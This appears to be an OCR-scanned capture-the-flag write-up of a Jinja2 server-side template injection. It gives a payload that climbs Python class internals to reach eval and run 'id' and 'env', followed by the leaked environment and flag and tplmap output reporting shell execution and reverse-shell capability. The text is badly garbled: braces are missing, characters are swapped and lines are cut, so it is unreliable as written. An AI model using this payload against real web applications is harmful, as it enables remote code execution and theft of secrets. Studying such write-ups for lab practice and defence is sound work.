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% for c in _class__ ._base_._subclasses_ () %
% if c.__name__ == 'catch_warnings' %
% for b in c.__init_ ._ globals__ .values() %

% if b.__class__ == _class__ %
% if 'eval' in b.keys %
b[ 'eval’
% endif %
% endif %
% endfor %
% endif %

% endfor %

' _dimport__ ("os").popen("id").read()"
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% for c in __class__.__base__. subclasses_ () %
% if c.__name__ == 'catch_warnings' %
% for b in c.__init__._globals__.values() %

% if b.__class__ == _class__ %
% if 'eval' in b.keys() %
b['eval']("
% endif %
% endif %
% endfor %
% endif %

% endfor %

__import__("os").popen("env").read()"’
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Hello HOSTNAME=114e10cd03ab PYTHON_PIP_VERSION=19.3.1 HOME=/root GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AAG5421D PYTHON_GET_PIP_UF
pip/raw/ffe826207a010164265d9cc807978e3604d18cal/get-pip.py SERVER_SOFTWARE=gunicorn/20.0.0 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sb
PYTHON GET PIP SHA256=b86f36cc4345ae87bfd4f10efob2dbfa7a872fbff70608a1e43944d283fd0eee FLAG=flag{93f6ad9b-9e81-4d47-9900-3ffabd32aaaf}
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python tplmap.py -u “http://node3.buuoj.cn:29153/?name=1"

‘tplmap# python tplmap.py

[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parame
[+] Smarty plugin is t

[+] Smarty plugin i
[+] Mako plugin is

'name
ing rendering with tag
s testing blind injection
ting rendering with tag
[+] Mako plugin is ting blind injection
[+] Python plugin is t ing rendering with tag
[+] Python plugin is testing blind injection
[+] Tornado plugin is ting rendering with tag
[+] Tornado plugin is ting blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

er ' is injectable

(|

"${*}'
'str{*)"

{{*1}

GET parame name
Engi

Injection: {{*}}

-u "http://node3.buuoj.cn:29153/7name=1"



0S: -linux
Technique: render
Capabilities:

EUIELRY Y 5 ] d =] [4]
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)’'
[+] Python plugin is testing blind injection
[+] Tornado plugin is ting rendering with tag '{{*}}'
[+] Tornado plugin is ting blind injection
[+] Jinja2 plugin is t ing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text

05: posix-linux
Technique: render
Capabilities

Shell command execution: ok
Bind and reverse shell: ok
write: ok
ead:
= evaluation: ok, python code

[+] Run commands on the operating systqﬁnm
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posix-linux

HOSTNAME=114el0cd@3ab

PYTHON PIP_VERSION=19.3.1

HOME=/root

GPG_KEY=0D96DF4D4110ESCA3FBFBE17F2D347EABAAGBSA21D

PYTHON GET PIP URL=https://github.com/pypa/get-pip/raw/ffe826207a010164265d9cc807978e3604d18ca8/
y

SERUER_SDFTWARE=gunic:) rn/20.0.0

PATH=/usr/local/bin: fusr/local/sbin: fusr/local/bin: fusr/sbin: /usr/bin:/sbin:/bin

LANG=C.UTF-8

PYTHON VERSION=3.6.9

PWD=/app

PYTHON GET PIP SHAZ256=b86f36cc4345ae87bfd4fleefeb2dbfa7a872fbff706088ale43944d283TdBeece

FLAG=flag{93f6ad9b-9e81-4d47-9900-3ffabd32aaaf}
posix-linux %
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